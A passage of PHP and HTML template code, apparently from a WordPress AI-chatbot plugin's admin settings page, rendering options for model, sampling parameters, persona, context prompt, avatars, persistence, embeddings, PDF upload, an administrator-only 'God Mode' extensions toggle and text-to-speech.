class="cr_width_full"> <option value="on" <?php if($enable_file_uploads == 'on'){echo ' selected';}?> ><?php echo esc_html__("On", 'aiomatic-automatic-ai-content-writer');?></option> <option value="off" <?php if($enable_file_uploads == 'off'){echo ' selected';}?> ><?php echo esc_html__("Off", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model of the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="model_b" onchange="anythingChanged();" class="hideAssistantID cr_width_full" > <?php echo '<option selected value="default">default</option>'; foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($chat_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx); if(aiomatic_is_vision_model($modelx, '')) { echo esc_html__(" (Vision)", 'aiomatic-automatic-ai-content-writer'); } echo esc_html(aiomatic_get_model_provider($modelx)); echo '</option>'; } ?> ?> </select> </div> </td></tr> <tr class="hideVision_b"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable vision for the chatbot. Note that to use this feature, you will need an AI model which supports vision.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="enable_vision_b" name="aiomatic_Chatbot_Settings[enable_vision]" class="hideAssistantIDVision cr_width_full" onchange="anythingChanged();"> <option value="on" <?php if($enable_vision == 'on'){echo ' selected';}?> ><?php echo esc_html__("On", 'aiomatic-automatic-ai-content-writer');?></option> <option value="off" <?php if($enable_vision == 'off'){echo ' selected';}?> ><?php echo esc_html__("Off", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" id="temperature_b" max="2" class="hideAssistantID cr_width_full" onchange="anythingChanged();" value="<?php echo esc_html($temperature);?>" placeholder="1"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" max="1" id="top_p_b" class="hideAssistantID cr_width_full" onchange="anythingChanged();" value="<?php echo esc_html($top_p);?>" placeholder="1"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="-2" step="0.01" max="2" id="presence_penalty_b" class="hideAssistantID cr_width_full" onchange="anythingChanged();" value="<?php echo esc_html($presence_penalty);?>" placeholder="0"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="-2" step="0.01" max="2" id="frequency_penalty_b" class="hideAssistantID cr_width_full" onchange="anythingChanged();" value="<?php echo esc_html($frequency_penalty);?>" placeholder="0"> </td></tr> <tr><td> <h2><?php echo esc_html__("Chatbot Persona Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the chatbot persona you want to use for your current chatbot setup.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Persona:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="persona_b" onchange="personaChanged();" class="hideAssistantID cr_width_full"> <?php $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish' ), 'post_type' => array( 'aiomatic_personas' ), 'numberposts' => $postsPerPage, 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); if(count($post_list) == 0) { echo '<option value="" disabled>' . esc_html__("No chatbot personas added. Add them in the 'Manage Chatbot Personas' tab.", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" disabled selected>' . esc_html__("Select a persona", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($post_list as $aiomatic_persona) { echo '<option value="' . esc_html($aiomatic_persona->ID) . '">' . esc_html($aiomatic_persona->post_title) . ' (' . esc_html($aiomatic_persona->post_excerpt) . ')' . '</option>'; } } ?> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea id="ai_name_b" rows="2" onchange="anythingChanged();" placeholder="AI" class="hideAssistantID"><?php echo esc_textarea($ai_message_preppend); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the role of the AI Assistant. This info is only informative, will appear only in the chatbot interface, is not sent to the AI writer. Be sure to add the role in the 'Chatbot Context' settings field, for it to take effect in the AI writer.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Role:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" id="ai_role_b" onchange="anythingChanged();" placeholder="AI Assistant role" class="hideAssistantID"><?php echo esc_textarea($ai_role); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). Example of prompt to pretain the AI --- Article: \"%%post_content%%\" \n\n Discussion: \n\n", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Context:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="4" id="context_b" onchange="anythingChanged();" rows="2" class="hideAssistantID" placeholder="Example: Converse as if you were a Marketing Agency Assistant. Be friendly, creative. Respond only in English."><?php echo esc_textarea($chat_preppend_text); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Initial Messages (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea id="ai_message_b" onchange="anythingChanged();" rows="2" class="hideAssistantID" placeholder="Hi! How can I help you?"><?php echo esc_textarea($ai_first_message); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar image of the AI. This will be shown in the chatbot interface.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Avatar Image:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $add_src = ''; if(is_numeric($ai_avatar)) { $att_src = wp_get_attachment_image_src( $ai_avatar, 'thumbnail', false ); if ( $att_src && $att_src[0] != false ) { $add_src = ' src="' . $att_src[0] . '"'; } } $image = '<div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-b"' . $add_src . '/></div>'; echo $image; ?> <input type="hidden" id="aiomatic_image_id_b" value="<?php echo $ai_avatar;?>" class="regular-text" /> <input type='button' class="hideAssistantID button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_b"/> <input type='button' class="hideAssistantID button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear_b"/> </div> </td></tr> <tr><td> <h2><?php echo esc_html__("Chatbot Context Details:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the user. This will be prepended to each user message. This is useful to teach the AI chatbot about its role and name.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Name:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea id="user_name_b" rows="2" onchange="anythingChanged();" class="hideAssistantID" placeholder="User"><?php echo esc_textarea($user_message_preppend); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar image of the User. This will be shown in the chatbot interface.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Avatar Image:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $add_src = ''; if(is_numeric($user_avatar)) { $att_src = wp_get_attachment_image_src( $user_avatar, 'thumbnail', false ); if ( $att_src && $att_src[0] != false ) { $add_src = ' src="' . $att_src[0] . '"'; } } $image = '<div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-user-b"' . $add_src . '/></div>'; echo $image; ?> <input type="hidden" id="aiomatic_image_id_user_b" value="<?php echo $user_avatar;?>" class="regular-text" /> <input type='button' class="hideAssistantID button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_user_b"/> <input type='button' class="hideAssistantID button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear_user_b"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the placeholder text of the chat input. The default is: Enter your chat message here.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Input Placeholder:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" id="placeholder_b" placeholder="Enter your chat message here" onchange="anythingChanged()"><?php echo esc_textarea($placeholder); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the submit button. The default is: Submit", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Input Submit Button Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" id="submit_b" placeholder="Submit" onchange="anythingChanged()"><?php echo esc_textarea($submit); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the compliance text which will be shown at the bottom of the chatbot (default is empty).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Compliance Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" id="compliance_b" placeholder="Compliance text" onchange="anythingChanged()"><?php echo esc_textarea($compliance); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the prompt selection placeholder. The default is: Please select a prompt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Text For Prompt Templates Selection:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" id="select_prompt_b" placeholder="Please select a prompt" onchange="anythingChanged()"><?php echo esc_textarea($select_prompt); ?></textarea> </div> </td></tr> <tr><td> <h2><?php echo esc_html__("Chatbot General Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to make the chatbot respond with full text or do you want to enable a typing effect, so text will appear gradually. You can also use streaming, which is the recommended method to be used, as in this case, the plugin will show the response in real time, as it is generated by the AI (similar to ChatGPT).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Instant Responses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="instant_response_b" onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option' . ($instant_response == 'on' ? ' selected': '') . ' value="on">on</option>'; echo '<option' . ($instant_response == 'stream' ? ' selected': '') . ' value="stream">stream</option>'; echo '<option' . ($instant_response == 'off' ? ' selected': '') . ' value="off">off</option>'; ?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a sound effect to be played when a message is sent in the chatbot. To disable this feature, leave this settings field blank. You can get free sound effects from here: https://pixabay.com/sound-effects/search/notification/?order=ec", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot 'Send Message' Sound Effect:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" placeholder="<?php echo esc_html__("Upload your 'Send Message' sound effect file using the button from below", 'aiomatic-automatic-ai-content-writer');?>" onchange="anythingChanged();" id="send_message_sound_b" value="<?php echo esc_attr($send_message_sound); ?>" /> <button class="button" id="aiomatic_upload_send_sound_button_b"><?php echo esc_html__("Upload a 'Send Message' sound effect", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a sound effect to be played when a message is received in the chatbot. To disable this feature, leave this settings field blank. You can get free sound effects from here: https://pixabay.com/sound-effects/search/notification/?order=ec", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot 'Receive Message' Sound Effect:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" placeholder="<?php echo esc_html__("Upload your 'Receive Message' sound effect file using the button from below", 'aiomatic-automatic-ai-content-writer');?>" onchange="anythingChanged();" id="receive_message_sound_b" value="<?php echo esc_attr($receive_message_sound); ?>" /> <button class="button" id="aiomatic_upload_receive_sound_button_b"><?php echo esc_html__("Upload a 'Receive Message' sound effect", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a number of milliseconds to set as a delay for the chatbot. You can also set an interval between two values (in ms), case in which, the chatbot will select a random number of milliseconds from that interval, at each response.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Response Delay (ms):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" placeholder="<?php echo esc_html__("Example: 100-500", 'aiomatic-automatic-ai-content-writer');?>" id="response_delay_b" onchange="anythingChanged();" value="<?php echo esc_attr($response_delay); ?>" /> </div> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default chat mode (image or text).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Chat Mode:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="chat_mode_b" onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option' . ($chat_mode == 'text' ? ' selected': '') . ' value="text">Text</option>'; echo '<option' . ($chat_mode == 'images' ? ' selected': '') . ' value="images">Image</option>'; ?> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the persistent chat mode. Chats will be saved in the database and can be viewed from the 'Limits and Statistics' menu of the plugin. If you want to enable the Vector Database persistent chat functionality, you need to add your API key for a Vector Database Service in the plugin's 'Settings' menu. Also, you need to enable embeddings for the chatbot, from the 'Settings' menu -> 'Embeddings' tab -> 'Enable Embeddings For' -> check the 'Chatbot Shortcodes' checkbox -> save settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Persistent Chat:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="persistent_b" onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option' . ($persistent == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($persistent == 'on' ? ' selected': '') . ' value="on">On (Local Storage)</option>'; echo '<option' . ($persistent == 'logs' ? ' selected': '') . ' value="logs">On (Local Storage), Only Save Chat Logs</option>'; echo '<option' . ($persistent == 'vector' ? ' selected': '') . ' value="vector"'; if($pinecone_app_id == '' && $qdrant_app_id == '') { echo ' disabled title="You need to set up a Pinecone or a Qdrant API keys in plugin settings for this to work"'; } echo '>' . esc_html__("On (Vector Database Storage), Auto Create Embeddings From User Messages", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </td> </tr><tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable Chatbot internet access for this specific chatbot? To enable internet access, you have to go to the 'Settings' menu -> 'AI Internet Access' tab -> 'Enable AI Internet Access For' -> check the 'Chatbot Shortcodes' checkbox -> save settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Internet Access:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="no_internet_b" <?php if(!isset($aiomatic_Main_Settings['internet_chat_short']) || $aiomatic_Main_Settings['internet_chat_short'] != 'on'){ echo ' disabled title="' . esc_html__("For this to work, you need to enable internet access for the chatbot in the 'Settings' menu -> 'AI Internet Access' tab -> 'Chatbot Shortcodes' checkbox", 'aiomatic-automatic-ai-content-writer') . '"';}?> onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option selected value="enabled">Enabled</option>'; echo '<option value="disabled">Disabled</option>'; ?> </select> </td> </tr><tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable Chatbot embeddings for this specific chatbot? To enable embeddings, you have to go to the 'Settings' menu -> 'Embeddings' tab -> 'Enable Embeddings For' -> check the 'Chatbot Shortcodes' checkbox -> save settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Embeddings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="no_embeddings_b" <?php if($pinecone_app_id == '' && $qdrant_app_id == ''){echo ' disabled title="You need to set up a Pinecone or a Qdrant API keys in plugin settings for this to work"';}else{if(!isset($aiomatic_Main_Settings['embeddings_chat_short']) || $aiomatic_Main_Settings['embeddings_chat_short'] != 'on'){ echo ' disabled title="' . esc_html__("For this to work, you need to enable embeddings for the chatbot in the 'Settings' menu -> 'Embeddings' tab -> 'Chatbot Shortcodes' checkbox", 'aiomatic-automatic-ai-content-writer') . '"';}}?> onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option selected value="enabled">Enabled</option>'; echo '<option value="disabled">Disabled</option>'; ?> </select> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the prompts to be user editable. You should use this feature only together with the prompt templates feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt Templates:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" onchange="anythingChanged();" id="template_b" placeholder="Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one."><?php echo esc_textarea($prompt_templates); ?></textarea> </div> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the prompts to be user editable. You should use this feature only together with the prompt templates feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompts Editable By Users:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="prompt_editable_b" onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option' . ($prompt_editable == 'on' ? ' selected': '') . ' value="on">On</option>'; echo '<option' . ($prompt_editable == 'off' ? ' selected': '') . ' value="off">Off</option>'; ?> </select> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to inject the chatbot globally, to the entire front end and/or back end of your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Inject Chatbot Globally To Your Site:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="enable_front_end_b" onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option' . ($enable_front_end == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($enable_front_end == 'front' ? ' selected': '') . ' value="front">Front End</option>'; echo '<option' . ($enable_front_end == 'back' ? ' selected': '') . ' value="back">Back End</option>'; echo '<option' . ($enable_front_end == 'both' ? ' selected': '') . ' value="both">Front End & Back End</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select where you want to show the embedded chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Location:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="window_location_b" onchange="anythingChanged();" class="cr_width_full"> <?php echo '<option' . ($window_location == 'bottom-right' ? ' selected': '') . ' value="bottom-right">Bottom Right</option>'; echo '<option' . ($window_location == 'bottom-left' ? ' selected': '') . ' value="bottom-left">Bottom Left</option>'; echo '<option' . ($window_location == 'top-right' ? ' selected': '') . ' value="top-right">Top Right</option>'; echo '<option' . ($window_location == 'top-left' ? ' selected': '') . ' value="top-left">Top Left</option>'; ?> </select> </div> </td></tr> <?php if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $all_ok = true; $issue_counter = 1; if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $all_ok = false; } if($pinecone_app_id == '' && $qdrant_app_id == '') { $all_ok = false; } if (!isset($aiomatic_Main_Settings['embeddings_chat_short']) || trim($aiomatic_Main_Settings['embeddings_chat_short']) != 'on') { $all_ok = false; } ?> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable users to upload PDF files to the chatbot. This will require some prerequisites to function, please check the 'PDF Chat' tab for details.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Users To Upload PDF Files To The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="upload_pdf_b" <?php if($all_ok === false){echo ' disabled title="Feature not available, check the \'PDF Chat\' tab for details"';}?> onchange="anythingChanged();" > <?php echo '<option value="disabled"'; if ($upload_pdf !== 'on' || $all_ok == false) { echo ' selected'; } echo '>Disabled</option>'; echo '<option value="enabled"'; if ($upload_pdf == 'on' && $all_ok == true) { echo ' selected'; } echo '>Enabled</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable/disable the chatbot Extensions feature. This can be used to enable a series of extensions, like social posting, email sending, Amazon product details scraping, website or RSS feed scraping, God Mode, which will allow ultimate control of your WordPress site, allowing it to call functions from WordPress directly. Using this feature, you will be able to create posts directly from the chatbot, assign taxonomies, images and many more! Warning! This is a BETA feature, use it with caution. This will apply only if regular AI models are used (not AI Assistants - for these, the God Mode needs to be enabled from Assistant editing menu). Also, God Mode will work only for logged in administrator privileged users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Extensions (God Mode):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="enable_god_mode_b" onchange="anythingChanged();" > <?php echo '<option selected value="disabled">Disabled</option>'; echo '<option value="enabled">Enabled</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable chatbot text to speech/video.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Text-to-Speech/Video:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <select id="chatbot_text_speech_b" onchange="anythingChanged()" > <?php echo '<option' . ($chatbot_text_speech == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($chatbot_text_speech == 'free' ? ' selected': '') . ' value="free">Browser Text-to-Speech (Free)</option>'; if (!isset($aiomatic_Main_Settings['app_id'])) { $aiomatic_Main_Settings['app_id'] = ''; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(empty($appids)) { $token = ''; } else { $token = $appids[array_rand($appids)]; } if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { echo '<option' . ($chatbot_text_speech == 'openai' ? ' selected': '') . ' value="openai">OpenAI Text-to-Speech</option>'; } else { echo '<option' . ($chatbot_text_speech == 'openai' ? ' selected': '') . ' disabled 